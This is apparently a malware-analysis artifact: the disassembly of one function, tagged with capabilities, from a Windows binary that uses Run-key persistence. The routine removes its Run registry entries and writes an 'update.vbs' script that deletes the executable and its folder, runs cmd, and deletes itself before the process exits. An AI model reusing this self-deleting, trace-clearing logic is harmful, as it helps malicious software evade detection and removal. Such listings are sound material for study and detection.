Function at 0xb2d45b
Capabilities:
Create process on windows
Delete registry key
Persist via run registry key
Set file attributes
Terminate process

Disassembly:
sub esp, 0x2b4
push ebx
push ebp
push esi
push edi
call fcn.00b3288b
cmp dword [0xb9513c], 0
je 0xb2d47d
mov ecx, 0xb950f0
call fcn.00b2b8e7
xor ebx, ebx
inc ebx
cmp byte [0xb92d63], bl
jne 0xb2d48d
call fcn.00b39b25
cmp byte [0xb92a85], 0
je 0xb2d4a7
mov ecx, 0xb94d64
call fcn.00b21f04
mov ecx, eax
call fcn.00b3c322
mov esi, 0xb952c0
mov edi, str.SoftwareMicrosoftWindowsCurrentVersionRun_
cmp byte [0xb92b33], bl
jne 0xb2d4ce
mov ecx, esi
call fcn.00b21f04
push eax
mov edx, edi
mov ecx, closesocket
call fcn.00b33a5e
pop ecx
mov ebp, closesocket
cmp byte [0xb92b30], bl
jne 0xb2d4ed
mov ecx, esi
call fcn.00b21f04
push eax
mov edx, edi
mov ecx, ebp
call fcn.00b33a5e
pop ecx
cmp byte [0xb92b31], bl
jne 0xb2d50a
mov ecx, esi
call fcn.00b21f04
push eax
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun_
mov ecx, ebp
call fcn.00b33a5e
pop ecx
mov esi, 0xb95338
mov ecx, esi
call fcn.00b2247c
push eax
mov ecx, esi
call fcn.00b21fab
push eax
mov esi, 0x208
lea eax, [esp + 0xc0]
push esi
push eax
mov ebx, 0xb952f0
push str.exepath
mov ecx, ebx
call fcn.00b21fab
mov edx, eax
call fcn.00b33733
add esp, 0x14
xor edi, edi
test al, al
jne 0xb2d55e
push esi
lea eax, [esp + 0xbc]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, ebx
call fcn.00b21fab
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [esp + 0xb8]
push 0x80
push eax
call esi
mov ebx, eax
mov ebp, 0xb86478
neg ebx
mov edx, ebp
mov ecx, 0xb95308
sbb bl, bl
and bl, 1
call fcn.00b277f2
test al, al
je 0xb2d5b6
push 0x80
mov ecx, 0xb95308
call fcn.00b21f04
push eax
call esi
push str.update.vbs
push 0xb86f98
call fcn.00b5c11f
pop ecx
push eax
lea ecx, [esp + 0x30]
call fcn.00b2417e
mov edx, eax
lea ecx, [esp + 0x74]
call fcn.00b23014
pop ecx
lea ecx, [esp + 0x28]
call fcn.00b21f09
push str.Set_fso__CreateObject__Scripting.FileSystemObject___n
lea ecx, [esp + 0x2c]
call fcn.00b2417e
push eax
mov edx, str.On_Error_Resume_Next_n
lea ecx, [esp + 0x14]
call fcn.00b242fc
pop ecx
lea ecx, [esp + 0x28]
call fcn.00b21f09
test bl, bl
je 0xb2d667
push 0xb87040
lea eax, [esp + 0xbc]
push eax
lea ecx, [esp + 0x60]
call fcn.00b2417e
push eax
mov edx, str.while_fso.FileExists__
lea ecx, [esp + 0x48]
call fcn.00b242fc
pop ecx
mov edx, eax
lea ecx, [esp + 0x2c]
call fcn.00b23014
pop ecx
push eax
lea ecx, [esp + 0x14]
call fcn.00b2325d
lea ecx, [esp + 0x28]
call fcn.00b21f09
lea ecx, [esp + 0x40]
call fcn.00b21f09
lea ecx, [esp + 0x58]
call fcn.00b21f09
mov esi, 0xb87078
lea eax, [esp + 0xb8]
push esi
push eax
push str.fso.DeleteFile__
lea ecx, [esp + 0x34]
call fcn.00b2417e
mov edx, eax
lea ecx, [esp + 0x48]
call fcn.00b23014
pop ecx
mov edx, eax
lea ecx, [esp + 0x5c]
call fcn.00b23014
pop ecx
push eax
lea ecx, [esp + 0x14]
call fcn.00b2325d
lea ecx, [esp + 0x58]
call fcn.00b21f09
lea ecx, [esp + 0x40]
call fcn.00b21f09
lea ecx, [esp + 0x28]
call fcn.00b21f09
test bl, bl
je 0xb2d6d2
push str.wend_n
lea ecx, [esp + 0x14]
call fcn.00b2908d
mov ebx, 0xb95308
mov edx, ebp
mov ecx, ebx
call fcn.00b277f2
test al, al
je 0xb2d71d
push esi
push ebx
mov edx, str.fso.DeleteFolder__
lea ecx, [esp + 0x48]
call fcn.00b2b9b7
pop ecx
mov edx, eax
lea ecx, [esp + 0x5c]
call fcn.00b23014
pop ecx
push eax
lea ecx, [esp + 0x14]
call fcn.00b2325d
lea ecx, [esp + 0x58]
call fcn.00b21f09
lea ecx, [esp + 0x40]
call fcn.00b21f09
push 0xb87140
push 0xb87144
lea ecx, [esp + 0xa8]
call fcn.00b2417e
push eax
lea eax, [esp + 0x2d0]
push eax
push str.CreateObject__WScript.Shell__.Run__cmd__c___
lea ecx, [esp + 0x98]
call fcn.00b2417e
mov edx, eax
lea ecx, [esp + 0x34]
call fcn.00b2431d
pop ecx
mov edx, eax
lea ecx, [esp + 0x48]
call fcn.00b22fa5
pop ecx
mov edx, eax
lea ecx, [esp + 0x5c]
call fcn.00b23014
pop ecx
push eax
lea ecx, [esp + 0x14]
call fcn.00b2325d
lea ecx, [esp + 0x58]
call fcn.00b21f09
lea ecx, [esp + 0x40]
call fcn.00b21f09
lea ecx, [esp + 0x28]
call fcn.00b21f09
lea ecx, [esp + 0x88]
call fcn.00b21f09
lea ecx, [esp + 0xa0]
call fcn.00b21f09
push str.fso.DeleteFile_Wscript.ScriptFullName_
lea ecx, [esp + 0x14]
call fcn.00b2908d
push edi
lea ecx, [esp + 0x74]
call fcn.00b21f04
push eax
lea ecx, [esp + 0x18]
call fcn.00b2247c
mov esi, eax
lea ecx, [esp + 0x18]
add esi, esi
call fcn.00b21f04
mov edx, esi
mov ecx, eax
call fcn.00b3c482
pop ecx
pop ecx
test al, al
je 0xb2d811
push edi
push ebp
push ebp
lea ecx, [esp + 0x7c]
call fcn.00b21f04
push eax
push 0xb86118
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jle 0xb2d811
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [esp + 0x10]
call fcn.00b21f09
lea ecx, [esp + 0x70]
call fcn.00b21f09
lea ecx, [esp + 0x2c8]
call fcn.00b21f09
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2b4
ret